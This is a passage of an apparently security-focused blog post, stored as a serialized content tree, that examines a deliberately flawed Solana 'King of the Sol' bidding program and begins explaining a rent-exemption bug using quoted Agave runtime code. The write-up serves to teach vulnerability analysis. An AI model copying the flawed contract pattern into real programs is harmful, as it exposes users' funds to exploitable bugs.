king.\n",{"type":24,"tag":90,"props":73320,"children":73321},{"class":92,"line":437},[73322,73326,73330],{"type":24,"tag":90,"props":73323,"children":73324},{"style":114},[73325],{"type":29,"value":24926},{"type":24,"tag":90,"props":73327,"children":73328},{"style":97},[73329],{"type":29,"value":371},{"type":24,"tag":90,"props":73331,"children":73332},{"style":114},[73333],{"type":29,"value":22054},{"type":24,"tag":90,"props":73335,"children":73336},{"class":92,"line":574},[73337,73341,73346,73350,73354,73358,73362],{"type":24,"tag":90,"props":73338,"children":73339},{"style":97},[73340],{"type":29,"value":22639},{"type":24,"tag":90,"props":73342,"children":73343},{"style":136},[73344],{"type":29,"value":73345}," new_king",{"type":24,"tag":90,"props":73347,"children":73348},{"style":120},[73349],{"type":29,"value":78},{"type":24,"tag":90,"props":73351,"children":73352},{"style":146},[73353],{"type":29,"value":27207},{"type":24,"tag":90,"props":73355,"children":73356},{"style":114},[73357],{"type":29,"value":24719},{"type":24,"tag":90,"props":73359,"children":73360},{"style":146},[73361],{"type":29,"value":24724},{"type":24,"tag":90,"props":73363,"children":73364},{"style":114},[73365],{"type":29,"value":8523},{"type":24,"tag":90,"props":73367,"children":73368},{"class":92,"line":606},[73369],{"type":24,"tag":90,"props":73370,"children":73371},{"emptyLinePlaceholder":16},[73372],{"type":29,"value":245},{"type":24,"tag":90,"props":73374,"children":73375},{"class":92,"line":615},[73376,73380,73384],{"type":24,"tag":90,"props":73377,"children":73378},{"style":114},[73379],{"type":29,"value":24926},{"type":24,"tag":90,"props":73381,"children":73382},{"style":97},[73383],{"type":29,"value":371},{"type":24,"tag":90,"props":73385,"children":73386},{"style":114},[73387],{"type":29,"value":22054},{"type":24,"tag":90,"props":73389,"children":73390},{"class":92,"line":623},[73391,73395,73399,73403,73407,73411,73415],{"type":24,"tag":90,"props":73392,"children":73393},{"style":97},[73394],{"type":29,"value":22639},{"type":24,"tag":90,"props":73396,"children":73397},{"style":136},[73398],{"type":29,"value":44059},{"type":24,"tag":90,"props":73400,"children":73401},{"style":120},[73402],{"type":29,"value":78},{"type":24,"tag":90,"props":73404,"children":73405},{"style":146},[73406],{"type":29,"value":24955},{"type":24,"tag":90,"props":73408,"children":73409},{"style":114},[73410],{"type":29,"value":24719},{"type":24,"tag":90,"props":73412,"children":73413},{"style":146},[73414],{"type":29,"value":24724},{"type":24,"tag":90,"props":73416,"children":73417},{"style":114},[73418],{"type":29,"value":8523},{"type":24,"tag":90,"props":73420,"children":73421},{"class":92,"line":632},[73422],{"type":24,"tag":90,"props":73423,"children":73424},{"style":114},[73425],{"type":29,"value":827},{"type":24,"tag":90,"props":73427,"children":73428},{"class":92,"line":669},[73429],{"type":24,"tag":90,"props":73430,"children":73431},{"emptyLinePlaceholder":16},[73432],{"type":29,"value":245},{"type":24,"tag":90,"props":73434,"children":73435},{"class":92,"line":683},[73436],{"type":24,"tag":90,"props":73437,"children":73438},{"style":114},[73439],{"type":29,"value":73440},"#[program]\n",{"type":24,"tag":90,"props":73442,"children":73443},{"class":92,"line":737},[73444,73448,73453],{"type":24,"tag":90,"props":73445,"children":73446},{"style":97},[73447],{"type":29,"value":100},{"type":24,"tag":90,"props":73449,"children":73450},{"style":97},[73451],{"type":29,"value":73452}," mod",{"type":24,"tag":90,"props":73454,"children":73455},{"style":114},[73456],{"type":29,"value":73457}," king_of_the_sol {\n",{"type":24,"tag":90,"props":73459,"children":73460},{"class":92,"line":751},[73461,73465,73469,73474,73478,73482,73486,73490,73494,73499,73503,73508,73512,73516,73520,73524,73528],{"type":24,"tag":90,"props":73462,"children":73463},{"style":97},[73464],{"type":29,"value":22639},{"type":24,"tag":90,"props":73466,"children":73467},{"style":97},[73468],{"type":29,"value":105},{"type":24,"tag":90,"props":73470,"children":73471},{"style":108},[73472],{"type":29,"value":73473}," change_king",{"type":24,"tag":90,"props":73475,"children":73476},{"style":114},[73477],{"type":29,"value":117},{"type":24,"tag":90,"props":73479,"children":73480},{"style":136},[73481],{"type":29,"value":22076},{"type":24,"tag":90,"props":73483,"children":73484},{"style":120},[73485],{"type":29,"value":78},{"type":24,"tag":90,"props":73487,"children":73488},{"style":146},[73489],{"type":29,"value":22085},{"type":24,"tag":90,"props":73491,"children":73492},{"style":114},[73493],{"type":29,"value":1575},{"type":24,"tag":90,"props":73495,"children":73496},{"style":146},[73497],{"type":29,"value":73498},"ChangeKing",{"type":24,"tag":90,"props":73500,"children":73501},{"style":114},[73502],{"type":29,"value":9015},{"type":24,"tag":90,"props":73504,"children":73505},{"style":136},[73506],{"type":29,"value":73507},"bid_amount",{"type":24,"tag":90,"props":73509,"children":73510},{"style":120},[73511],{"type":29,"value":78},{"type":24,"tag":90,"props":73513,"children":73514},{"style":146},[73515],{"type":29,"value":376},{"type":24,"tag":90,"props":73517,"children":73518},{"style":114},[73519],{"type":29,"value":172},{"type":24,"tag":90,"props":73521,"children":73522},{"style":120},[73523],{"type":29,"value":177},{"type":24,"tag":90,"props":73525,"children":73526},{"style":146},[73527],{"type":29,"value":182},{"type":24,"tag":90,"props":73529,"children":73530},{"style":114},[73531],{"type":29,"value":22127},{"type":24,"tag":90,"props":73533,"children":73534},{"class":92,"line":782},[73535],{"type":24,"tag":90,"props":73536,"children":73537},{"style":252},[73538],{"type":29,"value":73539}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":90,"props":73541,"children":73542},{"class":92,"line":791},[73543,73547,73551,73555,73559,73563,73567,73571,73575,73580,73584,73589,73593,73597],{"type":24,"tag":90,"props":73544,"children":73545},{"style":108},[73546],{"type":29,"value":66274},{"type":24,"tag":90,"props":73548,"children":73549},{"style":114},[73550],{"type":29,"value":117},{"type":24,"tag":90,"props":73552,"children":73553},{"style":136},[73554],{"type":29,"value":73507},{"type":24,"tag":90,"props":73556,"children":73557},{"style":120},[73558],{"type":29,"value":10679},{"type":24,"tag":90,"props":73560,"children":73561},{"style":136},[73562],{"type":29,"value":27652},{"type":24,"tag":90,"props":73564,"children":73565},{"style":120},[73566],{"type":29,"value":226},{"type":24,"tag":90,"props":73568,"children":73569},{"style":114},[73570],{"type":29,"value":1165},{"type":24,"tag":90,"props":73572,"children":73573},{"style":120},[73574],{"type":29,"value":226},{"type":24,"tag":90,"props":73576,"children":73577},{"style":114},[73578],{"type":29,"value":73579},"throne",{"type":24,"tag":90,"props":73581,"children":73582},{"style":120},[73583],{"type":29,"value":226},{"type":24,"tag":90,"props":73585,"children":73586},{"style":114},[73587],{"type":29,"value":73588},"last_bid_amount ",{"type":24,"tag":90,"props":73590,"children":73591},{"style":120},[73592],{"type":29,"value":983},{"type":24,"tag":90,"props":73594,"children":73595},{"style":349},[73596],{"type":29,"value":10312},{"type":24,"tag":90,"props":73598,"children":73599},{"style":114},[73600],{"type":29,"value":571},{"type":24,"tag":90,"props":73602,"children":73603},{"class":92,"line":799},[73604,73609],{"type":24,"tag":90,"props":73605,"children":73606},{"style":108},[73607],{"type":29,"value":73608}," transfer_from_signer",{"type":24,"tag":90,"props":73610,"children":73611},{"style":114},[73612],{"type":29,"value":680},{"type":24,"tag":90,"props":73614,"children":73615},{"class":92,"line":807},[73616,73620,73624,73628,73632,73636],{"type":24,"tag":90,"props":73617,"children":73618},{"style":120},[73619],{"type":29,"value":689},{"type":24,"tag":90,"props":73621,"children":73622},{"style":136},[73623],{"type":29,"value":22076},{"type":24,"tag":90,"props":73625,"children":73626},{"style":120},[73627],{"type":29,"value":226},{"type":24,"tag":90,"props":73629,"children":73630},{"style":114},[73631],{"type":29,"value":1165},{"type":24,"tag":90,"props":73633,"children":73634},{"style":120},[73635],{"type":29,"value":226},{"type":24,"tag":90,"props":73637,"children":73638},{"style":114},[73639],{"type":29,"value":73640},"payer,\n",{"type":24,"tag":90,"props":73642,"children":73643},{"class":92,"line":821},[73644,73648,73652,73656,73660,73664,73668,73672,73677],{"type":24,"tag":90,"props":73645,"children":73646},{"style":120},[73647],{"type":29,"value":689},{"type":24,"tag":90,"props":73649,"children":73650},{"style":136},[73651],{"type":29,"value":22076},{"type":24,"tag":90,"props":73653,"children":73654},{"style":120},[73655],{"type":29,"value":226},{"type":24,"tag":90,"props":73657,"children":73658},{"style":114},[73659],{"type":29,"value":1165},{"type":24,"tag":90,"props":73661,"children":73662},{"style":120},[73663],{"type":29,"value":226},{"type":24,"tag":90,"props":73665,"children":73666},{"style":114},[73667],{"type":29,"value":73579},{"type":24,"tag":90,"props":73669,"children":73670},{"style":120},[73671],{"type":29,"value":226},{"type":24,"tag":90,"props":73673,"children":73674},{"style":108},[73675],{"type":29,"value":73676},"to_account_info",{"type":24,"tag":90,"props":73678,"children":73679},{"style":114},[73680],{"type":29,"value":1384},{"type":24,"tag":90,"props":73682,"children":73683},{"class":92,"line":6278},[73684,73689],{"type":24,"tag":90,"props":73685,"children":73686},{"style":136},[73687],{"type":29,"value":73688}," bid_amount",{"type":24,"tag":90,"props":73690,"children":73691},{"style":114},[73692],{"type":29,"value":748},{"type":24,"tag":90,"props":73694,"children":73695},{"class":92,"line":11420},[73696,73701,73705],{"type":24,"tag":90,"props":73697,"children":73698},{"style":114},[73699],{"type":29,"value":73700}," )",{"type":24,"tag":90,"props":73702,"children":73703},{"style":120},[73704],{"type":29,"value":714},{"type":24,"tag":90,"props":73706,"children":73707},{"style":114},[73708],{"type":29,"value":381},{"type":24,"tag":90,"props":73710,"children":73711},{"class":92,"line":11438},[73712],{"type":24,"tag":90,"props":73713,"children":73714},{"emptyLinePlaceholder":16},[73715],{"type":29,"value":245},{"type":24,"tag":90,"props":73717,"children":73718},{"class":92,"line":11483},[73719],{"type":24,"tag":90,"props":73720,"children":73721},{"style":252},[73722],{"type":29,"value":73723}," // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":90,"props":73725,"children":73726},{"class":92,"line":11589},[73727,73731,73736,73740,73744,73748,73752,73756,73760,73764,73768,73772,73776,73781,73785,73789,73794],{"type":24,"tag":90,"props":73728,"children":73729},{"style":97},[73730],{"type":29,"value":287},{"type":24,"tag":90,"props":73732,"children":73733},{"style":136},[73734],{"type":29,"value":73735}," to_reimburse",{"type":24,"tag":90,"props":73737,"children":73738},{"style":120},[73739],{"type":29,"value":216},{"type":24,"tag":90,"props":73741,"children":73742},{"style":114},[73743],{"type":29,"value":1151},{"type":24,"tag":90,"props":73745,"children":73746},{"style":136},[73747],{"type":29,"value":22076},{"type":24,"tag":90,"props":73749,"children":73750},{"style":120},[73751],{"type":29,"value":226},{"type":24,"tag":90,"props":73753,"children":73754},{"style":114},[73755],{"type":29,"value":1165},{"type":24,"tag":90,"props":73757,"children":73758},{"style":120},[73759],{"type":29,"value":226},{"type":24,"tag":90,"props":73761,"children":73762},{"style":114},[73763],{"type":29,"value":73579},{"type":24,"tag":90,"props":73765,"children":73766},{"style":120},[73767],{"type":29,"value":226},{"type":24,"tag":90,"props":73769,"children":73770},{"style":114},[73771],{"type":29,"value":73588},{"type":24,"tag":90,"props":73773,"children":73774},{"style":120},[73775],{"type":29,"value":983},{"type":24,"tag":90,"props":73777,"children":73778},{"style":349},[73779],{"type":29,"value":73780}," 9500",{"type":24,"tag":90,"props":73782,"children":73783},{"style":114},[73784],{"type":29,"value":172},{"type":24,"tag":90,"props":73786,"children":73787},{"style":120},[73788],{"type":29,"value":6966},{"type":24,"tag":90,"props":73790,"children":73791},{"style":349},[73792],{"type":29,"value":73793}," 10000",{"type":24,"tag":90,"props":73795,"children":73796},{"style":114},[73797],{"type":29,"value":381},{"type":24,"tag":90,"props":73799,"children":73800},{"class":92,"line":25306},[73801,73806],{"type":24,"tag":90,"props":73802,"children":73803},{"style":108},[73804],{"type":29,"value":73805}," transfer_from_pda",{"type":24,"tag":90,"props":73807,"children":73808},{"style":114},[73809],{"type":29,"value":680},{"type":24,"tag":90,"props":73811,"children":73812},{"class":92,"line":25341},[73813,73817,73821,73825,73829,73833,73837,73841,73845],{"type":24,"tag":90,"props":73814,"children":73815},{"style":120},[73816],{"type":29,"value":689},{"type":24,"tag":90,"props":73818,"children":73819},{"style":136},[73820],{"type":29,"value":22076},{"type":24,"tag":90,"props":73822,"children":73823},{"style":120},[73824],{"type":29,"value":226},{"type":24,"tag":90,"props":73826,"children":73827},{"style":114},[73828],{"type":29,"value":1165},{"type":24,"tag":90,"props":73830,"children":73831},{"style":120},[73832],{"type":29,"value":226},{"type":24,"tag":90,"props":73834,"children":73835},{"style":114},[73836],{"type":29,"value":73579},{"type":24,"tag":90,"props":73838,"children":73839},{"style":120},[73840],{"type":29,"value":226},{"type":24,"tag":90,"props":73842,"children":73843},{"style":108},[73844],{"type":29,"value":73676},{"type":24,"tag":90,"props":73846,"children":73847},{"style":114},[73848],{"type":29,"value":1384},{"type":24,"tag":90,"props":73850,"children":73851},{"class":92,"line":25349},[73852,73856,73860,73864,73868,73872],{"type":24,"tag":90,"props":73853,"children":73854},{"style":120},[73855],{"type":29,"value":689},{"type":24,"tag":90,"props":73857,"children":73858},{"style":136},[73859],{"type":29,"value":22076},{"type":24,"tag":90,"props":73861,"children":73862},{"style":120},[73863],{"type":29,"value":226},{"type":24,"tag":90,"props":73865,"children":73866},{"style":114},[73867],{"type":29,"value":1165},{"type":24,"tag":90,"props":73869,"children":73870},{"style":120},[73871],{"type":29,"value":226},{"type":24,"tag":90,"props":73873,"children":73874},{"style":114},[73875],{"type":29,"value":73876},"old_king,\n",{"type":24,"tag":90,"props":73878,"children":73879},{"class":92,"line":25357},[73880,73885],{"type":24,"tag":90,"props":73881,"children":73882},{"style":136},[73883],{"type":29,"value":73884}," to_reimburse",{"type":24,"tag":90,"props":73886,"children":73887},{"style":114},[73888],{"type":29,"value":748},{"type":24,"tag":90,"props":73890,"children":73891},{"class":92,"line":25366},[73892,73896,73900],{"type":24,"tag":90,"props":73893,"children":73894},{"style":114},[73895],{"type":29,"value":73700},{"type":24,"tag":90,"props":73897,"children":73898},{"style":120},[73899],{"type":29,"value":714},{"type":24,"tag":90,"props":73901,"children":73902},{"style":114},[73903],{"type":29,"value":381},{"type":24,"tag":90,"props":73905,"children":73906},{"class":92,"line":25408},[73907],{"type":24,"tag":90,"props":73908,"children":73909},{"emptyLinePlaceholder":16},[73910],{"type":29,"value":245},{"type":24,"tag":90,"props":73912,"children":73913},{"class":92,"line":25441},[73914],{"type":24,"tag":90,"props":73915,"children":73916},{"style":252},[73917],{"type":29,"value":73918}," // Set new king\n",{"type":24,"tag":90,"props":73920,"children":73921},{"class":92,"line":25449},[73922,73926,73930,73934,73938,73942,73946,73951,73955,73959,73963,73967,73971,73976,73980,73985],{"type":24,"tag":90,"props":73923,"children":73924},{"style":136},[73925],{"type":29,"value":27995},{"type":24,"tag":90,"props":73927,"children":73928},{"style":120},[73929],{"type":29,"value":226},{"type":24,"tag":90,"props":73931,"children":73932},{"style":114},[73933],{"type":29,"value":1165},{"type":24,"tag":90,"props":73935,"children":73936},{"style":120},[73937],{"type":29,"value":226},{"type":24,"tag":90,"props":73939,"children":73940},{"style":114},[73941],{"type":29,"value":73579},{"type":24,"tag":90,"props":73943,"children":73944},{"style":120},[73945],{"type":29,"value":226},{"type":24,"tag":90,"props":73947,"children":73948},{"style":114},[73949],{"type":29,"value":73950},"king ",{"type":24,"tag":90,"props":73952,"children":73953},{"style":120},[73954],{"type":29,"value":5491},{"type":24,"tag":90,"props":73956,"children":73957},{"style":136},[73958],{"type":29,"value":27652},{"type":24,"tag":90,"props":73960,"children":73961},{"style":120},[73962],{"type":29,"value":226},{"type":24,"tag":90,"props":73964,"children":73965},{"style":114},[73966],{"type":29,"value":1165},{"type":24,"tag":90,"props":73968,"children":73969},{"style":120},[73970],{"type":29,"value":226},{"type":24,"tag":90,"props":73972,"children":73973},{"style":114},[73974],{"type":29,"value":73975},"new_king",{"type":24,"tag":90,"props":73977,"children":73978},{"style":120},[73979],{"type":29,"value":226},{"type":24,"tag":90,"props":73981,"children":73982},{"style":108},[73983],{"type":29,"value":73984},"key",{"type":24,"tag":90,"props":73986,"children":73987},{"style":114},[73988],{"type":29,"value":236},{"type":24,"tag":90,"props":73990,"children":73991},{"class":92,"line":25457},[73992,73996,74000,74004,74008,74012,74016,74020,74024,74029],{"type":24,"tag":90,"props":73993,"children":73994},{"style":136},[73995],{"type":29,"value":27995},{"type":24,"tag":90,"props":73997,"children":73998},{"style":120},[73999],{"type":29,"value":226},{"type":24,"tag":90,"props":74001,"children":74002},{"style":114},[74003],{"type":29,"value":1165},{"type":24,"tag":90,"props":74005,"children":74006},{"style":120},[74007],{"type":29,"value":226},{"type":24,"tag":90,"props":74009,"children":74010},{"style":114},[74011],{"type":29,"value":73579},{"type":24,"tag":90,"props":74013,"children":74014},{"style":120},[74015],{"type":29,"value":226},{"type":24,"tag":90,"props":74017,"children":74018},{"style":114},[74019],{"type":29,"value":73588},{"type":24,"tag":90,"props":74021,"children":74022},{"style":120},[74023],{"type":29,"value":5491},{"type":24,"tag":90,"props":74025,"children":74026},{"style":136},[74027],{"type":29,"value":74028}," bid_amount",{"type":24,"tag":90,"props":74030,"children":74031},{"style":114},[74032],{"type":29,"value":381},{"type":24,"tag":90,"props":74034,"children":74035},{"class":92,"line":25466},[74036,74040,74044,74048,74052,74056,74060,74065,74069,74074,74078,74082,74086,74090,74095,74099,74103],{"type":24,"tag":90,"props":74037,"children":74038},{"style":136},[74039],{"type":29,"value":27995},{"type":24,"tag":90,"props":74041,"children":74042},{"style":120},[74043],{"type":29,"value":226},{"type":24,"tag":90,"props":74045,"children":74046},{"style":114},[74047],{"type":29,"value":1165},{"type":24,"tag":90,"props":74049,"children":74050},{"style":120},[74051],{"type":29,"value":226},{"type":24,"tag":90,"props":74053,"children":74054},{"style":114},[74055],{"type":29,"value":73579},{"type":24,"tag":90,"props":74057,"children":74058},{"style":120},[74059],{"type":29,"value":226},{"type":24,"tag":90,"props":74061,"children":74062},{"style":114},[74063],{"type":29,"value":74064},"last_time ",{"type":24,"tag":90,"props":74066,"children":74067},{"style":120},[74068],{"type":29,"value":5491},{"type":24,"tag":90,"props":74070,"children":74071},{"style":146},[74072],{"type":29,"value":74073}," Clock",{"type":24,"tag":90,"props":74075,"children":74076},{"style":120},[74077],{"type":29,"value":1211},{"type":24,"tag":90,"props":74079,"children":74080},{"style":108},[74081],{"type":29,"value":2862},{"type":24,"tag":90,"props":74083,"children":74084},{"style":114},[74085],{"type":29,"value":314},{"type":24,"tag":90,"props":74087,"children":74088},{"style":120},[74089],{"type":29,"value":319},{"type":24,"tag":90,"props":74091,"children":74092},{"style":114},[74093],{"type":29,"value":74094},"unix_timestamp ",{"type":24,"tag":90,"props":74096,"children":74097},{"style":97},[74098],{"type":29,"value":361},{"type":24,"tag":90,"props":74100,"children":74101},{"style":146},[74102],{"type":29,"value":376},{"type":24,"tag":90,"props":74104,"children":74105},{"style":114},[74106],{"type":29,"value":381},{"type":24,"tag":90,"props":74108,"children":74109},{"class":92,"line":25542},[74110],{"type":24,"tag":90,"props":74111,"children":74112},{"emptyLinePlaceholder":16},[74113],{"type":29,"value":245},{"type":24,"tag":90,"props":74115,"children":74116},{"class":92,"line":25575},[74117,74121],{"type":24,"tag":90,"props":74118,"children":74119},{"style":146},[74120],{"type":29,"value":1305},{"type":24,"tag":90,"props":74122,"children":74123},{"style":114},[74124],{"type":29,"value":818},{"type":24,"tag":90,"props":74126,"children":74127},{"class":92,"line":25583},[74128],{"type":24,"tag":90,"props":74129,"children":74130},{"style":114},[74131],{"type":29,"value":612},{"type":24,"tag":90,"props":74133,"children":74134},{"class":92,"line":25591},[74135],{"type":24,"tag":90,"props":74136,"children":74137},{"style":114},[74138],{"type":29,"value":827},{"type":24,"tag":25,"props":74140,"children":74141},{},[74142],{"type":29,"value":74143},"Note this comment:",{"type":24,"tag":5339,"props":74145,"children":74146},{},[74147],{"type":24,"tag":25,"props":74148,"children":74149},{},[74150],{"type":29,"value":74151},"any writable account is allowed as a new king.",{"type":24,"tag":25,"props":74153,"children":74154},{},[74155],{"type":29,"value":74156},"...Is our assumption correct?",{"type":24,"tag":850,"props":74158,"children":74160},{"id":74159},"the-bugs-lurking-beneath",[74161],{"type":29,"value":74162},"The Bugs Lurking Beneath",{"type":24,"tag":1019,"props":74164,"children":74166},{"id":74165},"bug-1-the-rent-exemption-trap",[74167],{"type":29,"value":74168},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":25,"props":74170,"children":74171},{},[74172,74174,74179],{"type":29,"value":74173},"On Solana, all accounts must maintain a ",{"type":24,"tag":7711,"props":74175,"children":74176},{},[74177],{"type":29,"value":74178},"minimum balance",{"type":29,"value":74180}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":3207,"props":74182,"children":74183},{},[74184,74199],{"type":24,"tag":3104,"props":74185,"children":74186},{},[74187,74192,74193],{"type":24,"tag":7711,"props":74188,"children":74189},{},[74190],{"type":29,"value":74191},"Uninitialized",{"type":29,"value":1833},{"type":24,"tag":32,"props":74194,"children":74196},{"className":74195},[],[74197],{"type":29,"value":74198},"lamports = 0",{"type":24,"tag":3104,"props":74200,"children":74201},{},[74202,74207,74208],{"type":24,"tag":7711,"props":74203,"children":74204},{},[74205],{"type":29,"value":74206},"Initialized",{"type":29,"value":1833},{"type":24,"tag":32,"props":74209,"children":74211},{"className":74210},[],[74212],{"type":29,"value":74213},"lamports >= rent-exempt threshold",{"type":24,"tag":25,"props":74215,"children":74216},{},[74217,74219,74224],{"type":29,"value":74218},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":24,"tag":7711,"props":74220,"children":74221},{},[74222],{"type":29,"value":74223},"account metadata",{"type":29,"value":74225}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":25,"props":74227,"children":74228},{},[74229,74231,74237],{"type":29,"value":74230},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":32,"props":74232,"children":74234},{"className":74233},[],[74235],{"type":29,"value":74236},"data.len() == 0",{"type":29,"value":74238}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":25,"props":74240,"children":74241},{},[74242,74244,74250],{"type":29,"value":74243},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":69,"props":74245,"children":74248},{"href":74246,"rel":74247},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[73],[74249],{"type":29,"value":49407},{"type":29,"value":226},{"type":24,"tag":80,"props":74252,"children":74254},{"className":82,"code":74253,"language":84,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[74255],{"type":24,"tag":32,"props":74256,"children":74257},{"__ignoreMap":7},[74258,74342,74359,74405,74425,74446,74467,74482,74499,74543,74562,74583,74604,74620,74628,74661,74668,74675,74682,74689],{"type":24,"tag":90,"props":74259,"children":74260},{"class":92,"line":93},[74261,74266,74271,74275,74279,74283,74287,74292,74296,74300,74305,74309,74314,74318,74322,74326,74330,74334,74338],{"type":24,"tag":90,"props":74262,"children":74263},{"style":97},[74264],{"type":29,"value":74265}," fn",{"type":24,"tag":90,"props":74267,"children":74268},{"style":108},[74269],{"type":29,"value":74270}," transition_allowed",{"type":24,"tag":90,"props":74272,"children":74273},{"style":114},[74274],{"type":29,"value":117},{"type":24,"tag":90,"props":74276,"children":74277},{"style":120},[74278],{"type":29,"value":123},{"type":24,"tag":90,"props":74280,"children":74281},{"style":97},[74282],{"type":29,"value":128},{"type":24,"tag":90,"props":74284,"children":74285},{"style":114},[74286],{"type":29,"value":133},{"type":24,"tag":90,"props":74288,"children":74289},{"style":136},[74290],{"type":29,"value":74291},"pre_rent_state",{"type":24,"tag":90,"props":74293,"children":74294},{"style":120},[74295],{"type":29,"value":78},{"type":24,"tag":90,"props":74297,"children":74298},{"style":120},[74299],{"type":29,"value":455},{"type":24,"tag":90,"props":74301,"children":74302},{"style":146},[74303],{"type":29,"value":74304},"RentState",{"type":24,"tag":90,"props":74306,"children":74307},{"style":114},[74308],{"type":29,"value":133},{"type":24,"tag":90,"props":74310,"children":74311},{"style":136},[74312],{"type":29,"value":74313},"post_rent_state",{"type":24,"tag":90,"props":74315,"children":74316},{"style":120},[74317],{"type":29,"value":78},{"type":24,"tag":90,"props":74319,"children":74320},{"style":120},[74321],{"type":29,"value":455},{"type":24,"tag":90,"props":74323,"children":74324},{"style":146},[74325],{"type":29,"value":74304},{"type":24,"tag":90,"props":74327,"children":74328},{"style":114},[74329],{"type":29,"value":172},{"type":24,"tag":90,"props":74331,"children":74332},{"style":120},[74333],{"type":29,"value":177},{"type":24,"tag":90,"props":74335,"children":74336},{"style":146},[74337],{"type":29,"value":167},{"type":24,"tag":90,"props":74339,"children":74340},{"style":114},[74341],{"type":29,"value":269},{"type":24,"tag":90,"props":74343,"children":74344},{"class":92,"line":200},[74345,74350,74355],{"type":24,"tag":90,"props":74346,"children":74347},{"style":636},[74348],{"type":29,"value":74349}," match",{"type":24,"tag":90,"props":74351,"children":74352},{"style":136},[74353],{"type":29,"value":74354}," post_rent_state",{"type":24,"tag":90,"props":74356,"children":74357},{"style":114},[74358],{"type":29,"value":269},{"type":24,"tag":90,"props":74360,"children":74361},{"class":92,"line":239},[74362,74367,74371,74375,74379,74384,74388,74393,74397,74401],{"type":24,"tag":90,"props":74363,"children":74364},{"style":146},[74365],{"type":29,"value":74366}," RentState",{"type":24,"tag":90,"props":74368,"children":74369},{"style":120},[74370],{"type":29,"value":1211},{"type":24,"tag":90,"props":74372,"children":74373},{"style":146},[74374],{"type":29,"value":74191},{"type":24,"tag":90,"props":74376,"children":74377},{"style":120},[74378],{"type":29,"value":6656},{"type":24,"tag":90,"props":74380,"children":74381},{"style":146},[74382],{"type":29,"value":74383}," RentState",{"type":24,"tag":90,"props":74385,"children":74386},{"style":120},[74387],{"type":29,"value":1211},{"type":24,"tag":90,"props":74389,"children":74390},{"style":146},[74391],{"type":29,"value":74392},"RentExempt",{"type":24,"tag":90,"props":74394,"children":74395},{"style":120},[74396],{"type":29,"value":29562},{"type":24,"tag":90,"props":74398,"children":74399},{"style":97},[74400],{"type":29,"value":14835},{"type":24,"tag":90,"props":74402,"children":74403},{"style":114},[74404],{"type":29,"value":748},{"type":24,"tag":90,"props":74406,"children":74407},{"class":92,"line":248},[74408,74412,74416,74421],{"type":24,"tag":90,"props":74409,"children":74410},{"style":146},[74411],{"type":29,"value":74366},{"type":24,"tag":90,"props":74413,"children":74414},{"style":120},[74415],{"type":29,"value":1211},{"type":24,"tag":90,"props":74417,"children":74418},{"style":146},[74419],{"type":29,"value":74420},"RentPaying",{"type":24,"tag":90,"props":74422,"children":74423},{"style":114},[74424],{"type":29,"value":269},{"type":24,"tag":90,"props":74426,"children":74427},{"class":92,"line":258},[74428,74433,74437,74442],{"type":24,"tag":90,"props":74429,"children":74430},{"style":136},[74431],{"type":29,"value":74432}," data_size",{"type":24,"tag":90,"props":74434,"children":74435},{"style":120},[74436],{"type":29,"value":78},{"type":24,"tag":90,"props":74438,"children":74439},{"style":136},[74440],{"type":29,"value":74441}," post_data_size",{"type":24,"tag":90,"props":74443,"children":74444},{"style":114},[74445],{"type":29,"value":748},{"type":24,"tag":90,"props":74447,"children":74448},{"class":92,"line":272},[74449,74454,74458,74463],{"type":24,"tag":90,"props":74450,"children":74451},{"style":136},[74452],{"type":29,"value":74453}," lamports",{"type":24,"tag":90,"props":74455,"children":74456},{"style":120},[74457],{"type":29,"value":78},{"type":24,"tag":90,"props":74459,"children":74460},{"style":136},[74461],{"type":29,"value":74462}," post_lamports",{"type":24,"tag":90,"props":74464,"children":74465},{"style":114},[74466],{"type":29,"value":748},{"type":24,"tag":90,"props":74468,"children":74469},{"class":92,"line":281},[74470,74474,74478],{"type":24,"tag":90,"props":74471,"children":74472},{"style":114},[74473],{"type":29,"value":72422},{"type":24,"tag":90,"props":74475,"children":74476},{"style":120},[74477],{"type":29,"value":1315},{"type":24,"tag":90,"props":74479,"children":74480},{"style":114},[74481],{"type":29,"value":269},{"type":24,"tag":90,"props":74483,"children":74484},{"class":92,"line":384},[74485,74490,74495],{"type":24,"tag":90,"props":74486,"children":74487},{"style":636},[74488],{"type":29,"value":74489}," match",{"type":24,"tag":90,"props":74491,"children":74492},{"style":136},[74493],{"type":29,"value":74494}," pre_rent_state",{"type":24,"tag":90,"props":74496,"children":74497},{"style":114},[74498],{"type":29,"value":269},{"type":24,"tag":90,"props":74500,"children":74501},{"class":92,"line":420},[74502,74507,74511,74515,74519,74523,74527,74531,74535,74539],{"type":24,"tag":90,"props":74503,"children":74504},{"style":146},[74505],{"type":29,"value":74506}," 